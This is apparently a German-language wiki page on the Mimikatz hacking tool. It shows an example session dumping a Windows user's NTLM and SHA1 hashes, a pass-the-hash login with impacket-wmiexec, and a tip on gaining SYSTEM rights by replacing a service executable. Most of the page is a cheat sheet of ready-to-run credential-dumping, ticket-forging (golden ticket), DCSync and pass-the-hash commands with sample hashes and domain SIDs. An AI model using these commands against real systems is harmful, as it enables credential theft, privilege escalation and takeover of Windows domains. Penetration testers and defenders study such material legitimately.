MBCDN

Inhaltsverzeichnis

Example
Cheatsheet
Links

Mimikatz ist ein freies und quelloffenes Hacking Tool für Microsoft Windows, mit dem, unter Ausnutzung von Schwachstellen, zwischengespeicherte Anmeldeinformationen (als Hash) angezeigt werden können. Siehe Penetration testing

Man benötigt Administrator oder SYSTEM Rechte! SYSTEM Rechte können durch Ersetzen der Executable eines schlecht konfigurierten Service und Neustart des Service erlangt werden. Der Service wird als SYSTEM gestartet und wenn man die Datei mit einer eigenen EXE ersetzt hat die einen Benutzer anlegt kann man diesen dann benutzen.

Wenn das Service nicht startet können Sicherheitsmechanismen greifen!

Tags: Token, Cookie, Hash, stealing

Example

c:\tmp> mimikatz.exe
Mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 270882 (00000000:00042222)
Session           : Interactive from 1
User Name         : manuel
Domain            : DESKTOP-TQFG3IR
Logon Server      : DESKTOP-TQFG3IR
Logon Time        : 02.06.2023 15:34:18
SID               : S-1-5-21-1718511148-443754455-1574503190-1000
        msv :
         [00000003] Primary
         * Username : manuel
         * Domain   : DESKTOP-TQFG3IR
         * NTLM     : 0a1aa37e9c8a54f1e52824e0c425d195
         * SHA1     : c5365e15c3fe86ac10cff834f163148aaa3e32ad
        tspkg :
        wdigest :
         * Username : manuel
         * Domain   : DESKTOP-TQFG3IR
         * Password : (null)
        kerberos :
         * Username : manuel
         * Domain   : DESKTOP-TQFG3IR
         * Password : (null)
        ssp :   KO
        credman :

[...]

Mimikatz # lsadump::lsa /patch

Unter Kali Linux gibt es das Tool Impacket-wmiexec zum Login mit Hashes (sog. Pass the hash attack). Port 135 muss dazu am Ziel offen und man muss lokaler Admin (besser Domainadmin :P) sein.

root@kali/# /usr/bin/impacket-wmiexec
root@kali/# /usr/bin/impacket-wmiexec -hashes :<ntlm-hash> <domain>/<user>@<ip|hostname>
Impacket v0.10.0 - Copyright 2022 SecureAutz Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful when you execute
[!] Press help for extra commands
C:\> whoami
DESKTOP-TQFG3IR\manuel

Cheatsheet

#general
privilege::debug
log
log customlogfilename.log


#sekurlsa
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

#kerberos
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

#crypto
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
crypto::keys /machine /export

#vault & lsadump
vault::cred
vault::list
token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local

#pth
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe

#ekeys
sekurlsa::ekeys

#dpapi
sekurlsa::dpapi

#minidump
sekurlsa::minidump lsass.dmp

#ptt
kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

#golden/silver
kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi
kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080
kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi

#tgt
kerberos::tgt

#purge
kerberos::purge

MBCDN

Benutzer-Werkzeuge

Webseiten-Werkzeuge

Inhaltsverzeichnis

Example

Cheatsheet

Links

Seiten-Werkzeuge